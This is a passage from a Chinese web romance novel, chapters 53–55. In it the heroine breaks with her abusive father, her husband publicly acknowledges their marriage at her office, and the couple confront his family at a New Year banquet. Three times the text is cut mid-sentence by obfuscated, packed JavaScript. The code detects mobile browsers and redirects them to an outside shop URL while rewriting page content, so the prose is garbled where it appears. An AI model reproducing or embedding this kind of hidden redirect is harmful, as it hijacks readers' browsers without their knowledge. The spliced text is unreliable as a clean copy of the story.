好好的? 把一整盘菜扣在地上,菜汤四溅,然后捡起来若无其事地坐在一起吃掉,这叫好好的? 她忽然对自己过去这么多年的生活,后知后觉地毛骨悚然。 温全上前一步,低声对温今遥道:“你不是说你们要离婚了吗?我说过的话,你都不记得了?” 温今遥当然记得。 他开价一千万,如果不给,他就会掐准时间点陷害裴聿珩,她甚至听到了他在房间里给秦杨打电话,询问裴聿珩的对头是谁。 温今遥深吸一口气:“你爱怎么样就怎么样,我不在乎。我今天非走不可。” 裴聿珩已经全部知道了,他现在就站在她身后,她什么也不怕了。 “你忘了你上大学的时候他们是怎么对你的?”温全拉住她的手腕:“你那时候是怎么说的,你说裴家没有一个好东西,都是仗势欺人的主。“他意有所指地看了裴聿珩一眼:“我虽然没有钱,但是你在世界上唯一的亲人,是不是?” 温今遥冷笑着压了手腕,挣脱他的钳制:“是呀,我在世上唯一的亲人,一毕业就问我要三百万的抚养费,哪怕我说还完钱就跟你断绝关系,你也绝不松口。怎么,今天又觉得亏了,是吗。” “哪有的事,爸爸那是为了让你努力工作、成才,那些钱都给你存着,以后都要还给你的。” 温今遥翘着唇角盯了他一阵,忽然问:“你还记得你绑架了裴聿珩的那一天吗?” 温全脸上的笑彻底挂不住了。 他没想到温今遥还记得。 “那天我问你,爸爸,哥哥怎么睡着了?你是怎么回答我的?”温今遥笑得凄然:“你说,睡着了好,我再也不用受苦了。” “在那种时候,你都不愿意说上一句爸爸不会再让你受苦了。”她问:“你心里真的有过我吗?” 她言辞如刀,剐尽了温全脸上最后一丝柔情。他涂在眉间唇边的慈爱像蜡油一样瞬间融化,只剩下一抹阴冷:“不应该吗?” “你妈是个废物,生下你没多久就死了,一天都没照顾过我,我找回来几个女的,都被你气跑了,我一辈子吃这么多苦,都是你害的。”他怪温今遥怪得理所当然:“你明明跟裴家少爷那么好,我让你怀个他的孩子,下半辈子衣食无忧,你偏不听。为什么?” 温全抓紧了她的胳膊,不停摇晃她的身体:“那时候你都成年了,有办法为什么不用?你告诉我为什么?” 裴聿珩大脑空白了一瞬间,后知后觉,他终于读懂了七年前温今遥拒绝自己时的那种难堪的眼神。 她那不是在拒绝,她是在求救。 可他没有看懂,非但没有看懂,他还因为这件事,货真价实地恨过她。 裴聿珩上前一步:“今遥……” 换来的却是她让他退后的手势。 温今遥一瞬不瞬盯着温全,竟笑了出来:“我到底是怎么想的,为什么会觉得总有一天你会醒悟,然后觉得抱歉呢?你明明……明明从来都没有爱过我。” “谁说的?”温全立刻反驳:“我给了你生命,这还不叫爱?你妈死了,没有我,你就是个孤儿,谁都会来欺负你。给你一条命,让你叫一声爸,难道还不值那些钱吗?” 他逻辑自洽得温今遥一时都无法反驳,她愣怔着想,对啊,就是因为他是我唯一的亲人,所以我才那么执着地非要从他身上得到亲情不可。 但现在不是了,她结婚了,她有了自己的家,有了自己的亲人,是她先感受到了爱,才心甘情愿选择的。 她的亲人现在就站在她身后,心疼她、担心她,等她把前半辈子的困惑执着全部了却,然后跟他回家。 “不值。”她摇头:“无论是作为一个男人,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173996|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个父亲,你都糟糕透顶。” “过去我不成熟,没有自己的力量,挣脱不了你的控制,但现在不一样了,我有我的爱人,他才是会跟我相伴一生的人。” “你听清楚,我不要你了。以后我不会接你的电话,不会叫你爸,也不会回应你的任何要求。每个月我会给你打八百块抚养费,履行我的法律义务,其他的,我不会为你付出任何——就像你当初对我一样。” 温全听得愣了。 这不该是温今遥能说出的话。 他终于把目光移到她身后的男人身上——她的底气来自哪里,再明显不过了。 裴聿珩身上的冷汗已经被冷风吹干了,这时候双手插兜,靠在宾利车身侧,正一脸警惕阴沉地看着他。 来硬的肯定是不行了,他一个老半壳子怎么看都不是裴聿珩的对手。 但是没关系,他还有最后一招。 温今遥从小就难管,他之所以能稳稳将她拿捏,就是因为每次只要他说不舒服,小姑娘就会关切地凑过来,用小手摸摸他的头,软糯地问,爸爸,你怎么了,没事吧?我给你去买药,好不好? 她绝不可能看着亲生父亲突发疾病,而袖手旁观。 温全深吸一口气,忽然手抽成鸡爪状,窒息似地掐住自己的脖子,向温今遥踉跄了两步,膝盖一软,整个人跌倒在她的脚边。 温今遥惊得险些跳起来,禁不住俯身去看:“你干什么?” 温全的声音卡在嗓子里,嗬嗬地出着气音,身体不可控似地不停抽搐,一只干瘦的手伸向温今遥—— 温今遥跪下来,一只手握住他的手,垂下柔软的眼睫,静静地看着他。 裴聿珩打开车门,问:“要去医院吗?” 温今遥摇摇头:“来不及的。”她从睡衣口袋里掏出一支笔:“我爸这个病,我知道的,气胸,不把肺戳开,他会活活憋死在我面前。” 她低头看着喘得面红耳赤的温全:“对吗,爸爸?” 裴聿珩阻拦不及,他眼睁睁看着温今遥半是狠厉半是哀悲伤地跪在父亲身边,高高举起手中的圆珠笔,是金刚怒目,也是菩萨低眉。 她举起手的那一刻,他仿佛看见了十八岁的温今遥,手持长剑,将所有因果悍然斩断。 那个瞬间,他几乎生出了敬畏。 他觉得自己一介卑劣凡人,用自己阴暗粗鄙的私欲,妄想将神明拉入人间。 温今遥很强,非常强,她用才华和坚韧硬是为自己开创了新生,她那么勇敢,敢在心尖上剜肉医疮,可他只想把她揉进怀里,亲吻她狰狞的伤疤。 不等她手中长剑斩下,温全便奇迹般痊愈。他握住温今遥的手腕,眼中怒火简直要将她拖进地狱:“你怎么敢!” 温今遥跪坐在地上,笑容森然:“我不但敢,以后你每一次靠近我的丈夫,我都会让你看清楚我到底是怎么敢的。你告诉秦杨,他要是不怕,也大可以试试。” 温全被她完全压制,这时候她手下一松,温全得了空,立刻连滚带爬站起来,瑟缩着看了她一眼,转身就跑。 温今遥没有去追的意思,她慢慢站起来,只觉得所有力气都被抽干了,她一转身,脚下一个趔趄,一头栽进一个冰凉颤抖的怀抱。 裴聿珩将她箍在怀中,把头埋进她泛着凉意的侧颈,久久不能言。 他们在照破暗夜的朝晖中紧紧相拥。 “怎么啦。”温今遥拍他:“你也害怕了?” “不,”他温润的声线战栗着传来:“今遥,我爱你。” 53. 第 53 章 劫后余生的第一个生理反应,是饿。 温今遥对着满街的包子油条豆腐脑,兴趣缺缺:“你有什么想吃的吗?” “有。” “什么?” “想吃你做的鸡蛋面。” “……意思我不但得给你打工,还得给你做饭吗!不!做!” …… 关于“温今遥做的鸡蛋面’,也是有一段公案。 上学时候温今遥班上的男生犯贱欺负她,被裴聿珩拧断了胳膊,老师当然找到家里来,裴崇不由分说就罚裴聿珩领了家法,在小客厅的地板上跪了一天一夜。 就这,他还咬死了不肯认错,问就一句话:保护女人并没有错。 裴崇简直要被他气笑了,勒令他不许吃饭,什么时候想明白了,什么时候才有饭吃。 这根本难不倒温今遥,她揣着自己做的鸡蛋面,三更半夜翻墙进了裴家,偷偷跑到小客厅,往裴聿珩怀里塞了一个保温桶。 “趁没人看见,赶紧吃掉!”她把小手拢在嘴边,悄声说:“我做的!” 裴聿珩到现在都还记得她在夜色里发亮的眼睛,和那一桶点缀着淡黄色鸡蛋的面。 为什么对那桶面也印象深刻,大概是因为它整个坨在了桶里,根本不需要用筷子夹,只要用点力把筷子插进去,就能提出一整个圆柱体来。 至于味道,或许是出于自我保护,他确实一点都不记得了。 不过这也并不妨碍今天他把温今遥复刻的鸡蛋面吃得一干二净。 “怎么样?”温今遥咬了一口鲜嫩多汁的蟹黄包:“像吗?” 裴聿珩喝完最后一口汤,慢条斯理用纸巾擦嘴:“不太像,可能因为不够坨?” 温今遥:“……姓裴的你真的……” 裴聿珩笑着握住她作势打人的手:“今天要去上班吗?” 所有事情都告一段落,温今遥其实没有理由再翘班了,但她犹豫许久,入职以来第一次对这份工作产生了逃避心理。 不是想偷懒,而是之前余承轩说过,公司里现在关于她的流言漫天飞,个个有鼻子有眼,她怎么通过公司的应酬遇到了裴聿珩,又是怎么套近乎,怎么上了他的床。 ……虽然从结果来看,好像也没说错吧,但工作场合,说得还是太难听了。 “今遥?” “哦,”温今遥被他叫回了魂:“去吧,有些事靠躲也是不行的。” 裴聿珩神色温和地看着她吃掉了最后一个蟹黄包,没有多问,只是道:“好。” 嘴上说着要去,温今遥还是磨蹭到了最后一刻,明明走路只要五分钟,却撒娇耍赖非要裴聿珩开车送她。 裴聿珩无奈道:“开车送你,你又怕被你同事看见,不让我停在你们公司楼下,送你只会让你迟到更久。” “不,”温今遥一反常态:“送我到威禾楼下,求你了!” 裴聿珩看了她一眼,答了“好”,转身就去给吴桓发信息:“下午有要事,日程全部取消。” 那边很快发来确认:“下午您要跟投发集团那边会面,确定要取消吗?” “嗯。” 他的夫人需要一些被承认的底气,这难道还不是要事么。 …… 温今遥踩着点进了A组办公室,一踏进去,就感受到了一丝不祥的紧绷。 同事们笑问:“回来了啊?身体好点了吗?”转过头去便开始互相挤眉弄眼,茶水间的大家本来聊得热火朝天,看她进去倒咖啡,立刻噤声并在短短几秒间作鸟兽散,甚至有别的部门的同事在A组门口探头探脑,一跟她对视就立刻缩回脑袋,跟同伴发出一声失望的“哦~”。 樊炜不像别人那样偷偷摸摸,溜达到温今遥工位旁,直接问道:“上次开会说你,你还不承认,有什么好藏着掖着的?也就是我是男的,我要是个女的,我都要自己上了。” 温今遥看看他好似八月怀胎的肚子,点点头:“哦,你加油。” 一个上午,温今遥在这种奇怪的聚光灯氛围里,头疼欲裂,头大如斗。 所以下午当李玉将她叫去办公室的时候,她简直如蒙大赦。 李玉见了她,半句废话都没有:“公司里大家的说法你听到了?” 温今遥低着头:“嗯。” “有什么打算?” 温今遥摇摇头:“还没有想好。” “没有要公开的意思?”李玉屈指扣了扣桌面:“讲得难听,是因为不知道真相。” 温今遥笑得很难看:“就算我肯说,大家也得相信啊。” 温今遥知道李玉说得没错,只是她一个人孤掌难鸣,就算她再解释自己是裴聿珩的合法妻子,恐怕别人也会认为是她上位不得,已经到了妄想症的地步。 “年后公司会宣布升任你为项目经理,”李玉道:“放假之前,把这件事情处理好。” 温今遥:“嗯……嗯?” “嗯什么?”李玉笑道:“你们A组都巴望着你当组长,下次好再多分点奖金呢,你不愿意?” 温今遥深呼吸了好几次,才把气喘匀:“哎呀你看这多不好意思……樊炜呢?” “策划部又不是只有A组,D组刚成立,他资深,让他去带好了。”李玉不以为意:“但是我提醒你,公司里现在这个氛围,对你不利,无论你说不说实话,大家都会觉得你这个职位得来不当。上面的压力我帮你摆平,但其他的,你自己得想清楚,接,还是不接?” 温今遥反问:“为什么不接?我不跟裴聿珩结婚,他们就没有别的说法了?难道我要因为这些一天三变的无稽之谈,牺牲自己的职业生涯和前途?”她冷笑一声:“他们未免也太把自己当回事了。” 李玉赞许地看了她一眼:“我就喜欢你这个拎得清的样子。但是前路茫茫呀,姑娘。” 温今遥点头:“无所谓,小场面。” 她有什么可害怕的,她现在身后有人了。 前路再难,裴聿珩就是她的底气。 “放心吧李总监,任他们去说好了,我还是相信真心换真心。” 李玉点点头,正要说什么,办公室的电话忽然响。 她接起来,听了两句,挑着眉“啊?”了一声,然后怔愣地看向温今遥:“你下午有安排?” 温今遥也是一愣:“没有呀?” 李玉挂掉电话,神色不明地看了她半天:“……你老公来了。” …… 李玉带着策划部众人匆匆赶到会议室的时候,裴聿珩已经跟于放聊到了年后的合作。 听见有人进来,他偏了偏头,英挺眉眼含着柔软笑意,谈正事的严肃和矜冷刹那间瓦解,仅一瞬就在群众中锁定了自己的爱人,而后迅速抬了抬唇角。 李玉感觉到身边的温今遥一直紧绷的身体猛地放松了,都不用转头去看,都知道这姑娘肯定也笑得特别好看温柔。 李玉腹诽着,这裴总也真有意思,每次来看老婆,还都费劲找个借口,兴师动众的。 小夫妻,怪有情趣。 但二人没再腻歪。半夏跟“岚”的合作,自从温今遥遇袭休假之后,就整个转给了余承轩,现在临近春节,也是时候听听进度了。 余承轩…… 压力特别大。 这还是他脱离温今遥指导做的第一个项目,也是他第一次独立在甲方公司总裁面前汇报,而且…… 他还在不知情的情况下,不知死活地跟人家抢过老婆。 如果人生是一场游戏,余承轩现在基本是debuff拉满,还没上场血条就剩一半了。 他总觉得裴聿珩那双深不可测的眼睛一直盯着他,期待从他的汇报里揪出点错来,然后大批特批,顺便把他绑在树上狂抽。 但万幸的是,他最终也没有掉链子。 温今遥走之前已经留下了一个可用的框架,往里填什么也大致有了规划。余承轩也是个能力和态度兼备的年轻人,接手之后,确实完成得有模有样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182743|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他PPT翻过最后一页,忐忑地抬起头,且等着裴聿珩找个什么奇怪的角度来搞他,却只听裴总鼓掌之后,温和道:“做得很不错,于总,威禾还真是卧虎藏龙。” 余承轩:? 毫不夸张地说,他险些当场哭了。 我要给鸿禧卖命,他想。 紧绷压抑的气氛至此彻底松解,于是大家又有闲情逸致开始挤眉弄眼,窃窃私语,微信小群里消息翻飞,都在暗戳戳观察裴聿珩有没有跟温今遥眉来眼去,会不会两人之间正暗潮涌动,把他们也当做偷情play的一环。 温今遥分明感受到了身边蠢蠢欲动的氛围,可她鼻观口,口观心,一个多余的眼神都没有,搞得裴聿珩好多次探过视线来,都扑了个空。 他无奈地捏捏眼角,忽然道:“今遥?” 温今遥正老僧入定,猝不及防被点名,整个人一个激灵:“啊?” 她明显听到周围人的眼神“刷刷刷”有如实质地向她射来,紧张得她满手都是汗。 这家伙不会又要说什么“爱情里重要的是什么”这种话吧! 没想到裴聿珩毫无所觉,冲着她扬了扬手机:“快过年了,爸妈让我们今天抽空回家一趟,你到底有没有时间?”他还很委屈似地:“给你发消息,你也不回我,工作就这么忙吗?比我还忙吗?” 温今遥眼睛瞪得像铜铃那么大,她努力忽略了周围刻意压低声音的讨论,本能问道:“你什么时候……” 别说他根本就没发过什么消息,就他跟亲爹那个拔刀相向的关系,还抽空回家呢,不决战华山就已经是父慈子孝了。 但她很快反应过来,裴聿珩不是想说这个,他这是要当着全公司的面,给她一个身份的承认。 温今遥眼底后知后觉泛上一阵热意,低着头生怕被人看出来:“有的,我有空。” 没想到裴聿珩还有后招。他站起身,越过层层不相干的人群走到温今遥面前,从口袋里拿出了一枚镶着碎钻的素圈,轻声抱怨道:“一上班就不戴婚戒,这样子回家,让爸妈怎么想?” 他轻轻牵起温今遥的左手,将手里的素圈极小心地套在她的中指上,又紧紧握了一瞬:“没事别把婚戒取下来,你这样,我会很不安,记得了?” 温今遥迟滞地看着他,眸底沁着一层水光:“……记得了。” 周围人刻意的清嗓子声响成一片,个别人嗑得嘴角飞天,一个汇报会的功夫,微博CP超话都已经建好了。 樊炜张了张嘴,一句话也说不出来。 下午他已经听说了要被调去D组的事,本想着据理力争一把,现在看来,得罪了甲方的总裁夫人,于放没有直接开除他,都算是念旧情了。 李玉极有眼色,这时候接过话头:“今遥啊,你刚出院,要注意休息,今天没什么事就先回吧,好好休息。” 温今遥一时不知道该不该领情:答应吧,感觉她在恃宠而骄,不答应吧,又显得做作。 裴聿珩不由分说牵起她的手,对李玉颔首笑道:“多谢李总监,那夫人我就先带走了。” …… 温今遥坐在宾利后座,人还恍惚着,只觉得自己刚刚演了一出偶像剧。 裴聿珩依旧牵着她的手,指尖不停摩挲她的婚戒:“一个好消息,一个坏消息,你想先听哪一个?” 温今遥:“我正热爱这个世界呢,对我来说没有坏消息,你尽管说。” 裴聿珩笑着捏了一把她的脸:“好消息是,我订到了你一直想吃的那家火锅。坏消息……” “?” “坏消息是,虽然不是今天,但是要带你回家的那句,不是假的。” 温今遥:“……不是,我现在后悔还来得及吗?你回威禾去跟他们说,我们没结婚,你逗他们玩的。” 裴聿珩却认真地盯着她慌乱的眼睛:“我不想一直过这样的日子。当断不断必受其乱。”他目光灼灼地锁住她的视线:“这一次,我要你站在我这一边。” 54. 第 54 章 温今遥反应了很久,才想明白什么叫“我要你站在我这一边。” 他说的是七年前,那时候两个羽翼未丰的年轻人在家族的压制下毫无还手之力,再不情愿也被迫离散,而后在茫茫人海失散了那么多年。 但这次不一样了。 他们能力出众、心意相通,早就在多年的摸爬滚打里将自己的人生紧紧握在手中,任何人都无法再将意志强加在他们身上。 “不止是你,”裴聿珩垂眸,在她面前掩去了眸底一闪而过的狠厉:“这一次,我要所有人都站在我这一边。” …… 裴家的年宴原本也是家宴,只是裴家人丁兴旺,年年热闹,到后来裴崇做大了鸿禧,各种嫡系旁系也有机会被带来见高层,渐渐就脱离了家宴的模样,变成了现在这样的非正式商务场合。 “我穿什么?”温今遥对着衣帽间不太熟的各种礼服犯难:“要跟游轮那次穿得差不多吗?” 裴聿珩在装饰台挑了一对蓝宝石袖扣扣在腕间:“不必,穿你觉得舒服的就好。你是今晚最不需要担心穿什么的人。” “为什么?” 他走到她身后,双手搭上她的腰间,望着试衣镜中的一对璧人:“因为制定规则的人,本身就在规则之外。” 温今遥本想早点过去,保个礼数周全,别给人落下话柄,裴聿珩却不以为意:“我们不到,家宴不会开始。你尽管收拾停当,我们慢慢过去就好。” 温今遥:“……你会不会有点太松弛了?” 裴聿珩笑着:“你在身边,我确实没有什么好紧张的。” 温今遥想了想:“那要做什么其他准备吗,比如毒酒之类的,方便你们豪门争家产这样。” 裴聿珩失笑:“我们家一般不靠毒酒,一般都是流放。这种损招你要去问沈靖舒,她经验丰富。” 温今遥:“啊,对,我也被流放过……那行吧。” 新春时节,北城已经渐渐暖和起来,沿河的枯柳开始打起不甚明显的新芽,裴家老宅水塘中,新一茬的锦鲤又翻腾起圈圈涟漪。 宾利停在老宅门口时,已过了晚饭时分,门口的佣人见到裴聿珩的车,立刻迎上来殷勤开门:“就等您了。” 裴聿珩回身牵起温今遥的手:“进去吗?” “嗯。” 两人牵着手缓步而行,偌大庭院中有人端着酒闲聊,见他们到了,纷纷停下寒暄,眼神不由自主跟着他们走。 “那个就是鸿禧现任老板娘?”有人交头接耳。 旁边人小声接过话:“是啊,之前为了她,小裴总不是还跟贺总闹出了大动静,贺公子都进去了。” “可是……贺总今天不是也来了吗?这还怎么见面啊?” “嗨,你管呢,神仙斗法,咱们看着就成了。” 裴聿珩目不斜视,牵着温今遥的手径直往前,身边时不时有人打招呼,他淡淡扫一眼,并不回礼。 “小裴总。” 一个声音淡笑着传来,温今遥抬头,见一位气质温文的中年男人挡在他们身前。 裴聿珩笑笑:“三叔。” 温今遥心里一惊:三叔? 谁家三叔见了侄子会叫“小裴总”啊? 她转念一想,裴家有些传闻在威禾也流传许久,其中最让人津津乐道的就是裴聿珩上任之后第一个大动作,就是削藩。 当中被挖了根基赶回家养老的,就是这位三叔。 裴三还是满面笑容:“嗯,大过年的,也好不容易见你一回。这就好啊,别像你二叔一样,过年也不愿意回来。” 裴聿珩抬了抬唇角,温声道:“是。” 就好像得知二叔拼命在鸿禧捞钱之后,直接大手一挥把人家赶去开拓海外市场的人,不是他裴聿珩。 大约是发现长辈身份也拿捏不了他,裴三神色淡了淡,视线终于飘向了一边的温今遥:“温小姐……” 温今遥手心紧了紧,刻在血液里的忌惮骤起。 当年她被赶出北城,就是这位三叔一手包办的。 裴聿珩没有给他说完这句话的机会:“三叔一起进去吧,家宴马上开始了。” 说完揽上温今遥的肩,与裴三擦肩而过。 裴三脸上的笑就像凭空蒸发一般,在裴聿珩挪开眼的一瞬间,消失得一干二净。 两人一步踏入厅堂,甚至还没有来得及打招呼,嘈杂宾客便极自然地将视线转向他们。有佣人悄无声息上来替他们脱了外套,裴聿珩带着笑意朗声道:“抱歉各位,久等。” 一句多余的解释都没有。 远处的裴崇不悦地眯起眼,伸手拍了拍身边已经瘦得不成样子的贺中。 易湘从人群中迎出来,虽然语带责怪,但语气仍然是对小辈的宠溺:“终于到了!是不是又堵在路上了?” 温今遥也对她温和一笑:“妈。” 易湘脸色垮了垮,迅速回到原先的慈爱脸:“哎,到了就好。” 周围女眷衣香云鬓,却也是挡不住地八卦,互相交换眼色:都说小裴总的新婚妻子出身不好,现在看起来也落落大方。 裴聿珩作为董事长,对来宾做了简短致辞。跟以前裴崇动辄一两个小时的致辞不同,他只是感谢了大家去年一整年的付出,并透露了来年跟几个投发集团的合作意向,说了几句简单的祝酒词,就算完成了今晚最重头的环节。 来宾们纷纷松了口气,往年饿着肚子听裴崇长篇大论的报告,痛苦得简直如同受刑,还是年轻人好,没有那么多虚的,知道说不如做的道理。 裴聿珩身形挺拔地站在万人中央,在所有人的目光焦点中举起手里的酒杯:“各位,感谢与鸿禧同行,新春快乐!” 而他越过层层人群,看向的分明是温今遥的方向。 温今遥莞尔,耳垂流苏银光流转,也对他举杯,指间成对的素圈如星般呼应闪耀。 她终于有了一种跟这个人共命运的实感。 “你很得意,对么?” 易湘不知什么时候站到了她身边,声音低得只有她们两人能听见。 温今遥喝了一口酒,没有回头。 “这种场合裴家不得不承认你,也不可能在这么多人面前跟你撕破脸,你以为这个董事长夫人的位置,你就坐得稳了?” 易湘表情八风不动,外人看上去就像她正在跟儿媳闲话家常:“我们走着瞧。” 温今遥笑了笑,微微偏过头:“不是我以为,而是我确实坐得稳。我跟裴聿珩一辈子都不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192036|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分开的,妈。” 这个称呼好似是易湘的罩门,她抿了抿嘴,冷哼一声:“等他把你扫地出门的那一天,你要饭也别要到我面前来。” “天底下不是只有你们裴家有一口饭吃,”温今遥拦住侍应生,拿了一杯酒递给她:“至于会不会把我扫地出门,那就不劳您挂心了。” 易湘垂眸扫了她手中的酒杯一眼,并没有接,转头离开了。 裴聿珩抬头望向这边时,只来得及看到易湘离开时愤懑的背影。他应付了身边寒暄的客人,快步到她身边:“我妈跟你说什么了?” 温今遥跟他碰了杯:“咱妈过来,祝我们百年好合。” 裴聿珩挑眉:“那你怎么回?” “我说,”温今遥将手里的香槟一饮而尽:“我必不辱使命。” 裴聿珩一句玩笑没出口,就听有人端着酒远远叫着:“裴总。” 他抬眼去看,竟是董事会中另一位股东,当年也是跟着裴崇干的,属于元老中的元老。 裴聿珩记得换届的时候,他带头给自己投了反对票。 裴聿珩面不改色:“刘叔,过来了?” “你小子,什么时候搞定的天宫集团?”刘叔满面春风:“前段时间股价震荡,我都以为不行了,没想到你还有后手!” “刘叔过奖,”裴聿珩跟他碰杯:“婶婶还好?” 刘叔大手一挥:“那婆娘之前跟我争,说看好半夏,这两拨涨得她眉开眼笑的,能不好吗,做梦都要笑醒了。” 裴聿珩温然一笑:“那就好,替我向婶婶致谢带好。”他轻轻覆上温今遥的腰:“刘叔,这位是我的新婚妻子,温今遥。” 温今遥主动伸出手跟刘叔浅浅一握:“刘叔好。” “哦,今遥……”刘叔转了转眼睛,想起之前圈子里盛传的,贺家小子搞出来的烂事,压低了声音问:“身体好了没有?” 这时候装傻反而掉档次,温今遥笑道:“小伤,不碍事的。” 刘叔犹豫了两秒,还是对裴聿珩道:“这件事该知道的都知道了,一家人斗到这一步,也差不多了。” 裴聿珩摇头:“我没有跟任何人斗,只是有人要伤害我的家人,我不可能视而不见,什么资产股权,都可以往后放放。” 刘叔若有所思,而后拍拍他的肩膀:“放心,老贺要走就让他走,以后我们几个老哥们,票都是你的!” 明眼人都已经看明白,旧时代已经过去,新的王已经崭露头角,何不顺势而为? 谁又会跟钱过不去呢。 裴聿珩弯了弯唇角:“有您这句话,我就放心了。” 顺便在心里把本来要血流成河的计划一笔勾销。 温今遥不知他原本的计划,带刘叔走后,欣喜道:“你看,他也带着小伙伴站你这一边了!” 裴聿珩笑道:“是啊,不过接下来的,可能才是重头戏。” 温今遥面露疑惑,只听吴桓在裴聿珩身后,轻声道:“裴总,老裴总让您带着夫人,去小客厅一趟。”顿了顿,他又上前一步,附上裴聿珩的耳侧:“贺总好像也在。” 裴聿珩牵起她的手,深邃眼眸望向她:“来了,准备好了吗?” 温今遥亦笃定回望:“当然。” 55. 第 55 章 提步拐过一个幽暗转角,再穿过一段长长的走廊,尽头就是那间裴聿珩小时候跪过无数次的小客厅。 脚步声渐渐抛却了华美宴会和人声嘈杂,温今遥握紧了裴聿珩的手,忽然问:“从前你在那里跪家法的时候,都在想什么?” 裴聿珩无声地咽动一下,却没有第一时间回答。 他已经有七年没有进过那个房间,无论是膝盖接触地板的冷硬触感,还是他独自望着窗外细月的孤独惶恐,都在时光长河中被冲刷得不甚清晰了。 但他依然不能说,我不记得了。 因为在每一个坚信自己犯了错的时刻,他对自己的质问、苛责、拉扯,还有每一个他躺在床上却难以成眠的夜晚,他都被关在那间空旷的房间里,反省着自己与生俱来的错。 他不再需要跪小客厅了,然而小客厅无处不在。 在他的记忆里,只有一次例外。 那一天他一言不发地跪了半晚上,胃里消化掉了最后一坨空气,反酸反得麻木,当他面无表情地看向窗外的暗黑树影和寂静月光时,却看到了一个鲜活澄澈的女孩。 她屈起在月光下莹白的手指,叩响了他的心门。 这段没头没尾的回忆,在多年后的今天,依然毫无意外地令他动容,于是裴聿珩笑起来,偏头对温今遥道:“在想什么时候才有人再来给我送一碗鸡蛋面。” 温今遥:“……哼,做一顿饭被你笑话一辈子!早知道那天不去了!” 裴聿珩笑着收紧了握着她的十指。 原来只要两个人一起走,这段昏昧的走廊,就不会像记忆里那么阴暗可怖。 时隔多年,裴聿珩终于又推开了那扇门。 那个瞬间他怔了怔,因为这里远不如他记忆里的那样空旷——一套红木桌椅,一面靠墙的书柜,一张波斯花色地毯,几乎将小客厅占满了,而他小时候跪家法的那片地方,不过是窗户前那一小块在家具填塞的空隙,一个成年人站进去,根本转不开身。 他最后一次跪在这里的时候已经二十岁了,可那时候,他依然觉得这里大得令人窒息。 裴崇和贺中坐在红木椅上,听到响动同时看过来。 裴崇脸上覆着一层故作高深的威严:“来了。” 贺中见了两人,身体不受控地动了动,裴崇轻轻扫他一眼,他又不甘地坐回了椅子上。 裴聿珩“嗯”了一声,没有丝毫在原地听训的意思,而是直接上前拉开了裴崇身边的座椅:“今遥,坐。” 他自己则坐到了贺中的身边,将温今遥和他隔开,这样若是贺中激动起来,他保证能第一时间扭断对方的胳膊。 裴崇凌厉眼神死死盯了他一阵,后槽牙紧了紧,却没出声。 裴聿珩没有等他开口,而是先发制人:“我以为父亲是有什么教诲要说给我和夫人听,没想到这里还有外人,打扰了。” 贺中看了一眼裴崇,发现他没有丝毫现在就发难的意思,只能把裴聿珩这句逐客令当了耳旁风。 裴崇道:“公司一切都好吗?” 裴聿珩笑了一声:“公司好不好,您恐怕比我清楚。” 细作都安插到董办来了,还装模作样问一句好不好,也不嫌尴尬。 裴崇呷了一口茶:“听说前段时间股价波动,你不打算解释一下?” 不等裴聿珩开口,贺中率先开始卖惨:“裴哥,是我不对,前段时间我的人不认识侄媳妇,误伤了她,这是我的错,我认了,但我这侄子做得也太绝了吧?”他气得腮边肉直抖:“贺霄,那是你弟弟!你怎么把他,把他……” 裴聿珩:“把他怎么样了?” 见贺中说不出话来,裴聿珩大发慈悲,帮他补全了后半句:“把他贩卖违禁药品的事实报告给警方,让他认罪去蹲大狱?” 贺中被戳中痛处,一拍桌子站起来:“你胡说什么!” 裴崇咳了一声:“行了!都闭嘴!老贺,你今天是来解决问题的,还是来继续结梁子的?” 贺中喘着粗气,瞪了裴聿珩一阵,只能不甘心地坐下,脸憋成了猪肝色。 裴崇对裴聿珩道:“你贺叔呢也不是有意的,他也说了,他不知道温今遥就是你老婆,这么说也有情可原,你也没有公开她的身份不是吗?这是不是说明,你也有责任?” 温今遥:“啊?” 裴崇皱着眉:“男人说话,你不要插嘴。” 裴聿珩喝了口茶:“今遥,讲。” 裴崇怒道:“裴聿珩!你还当我是你爸吗!” 裴聿珩气定神闲:“身份不止是别人给的,也是自己给的。今遥,你想说什么,尽管说好了。” 温今遥点点头,问对面的贺中:“你刚刚说你不知道我是裴聿珩的老婆?” 贺中答得理所应当:“对啊,我哪会知道鸿禧的董事长夫人是广告公司的一个小员工?” 温今遥:“那你的人为什么会出现在威禾?” 贺中噎了一下,道:“我不知道,那是他自己的行动,我并不知情。” 温今遥:“你没有想要用我去威胁裴聿珩,但是在你儿子出事的第一时间,却认为是裴聿珩在替我出气,你是这个意思吗?” 裴聿珩忽然笑出了声。 裴崇脸色极难看:“老贺。” 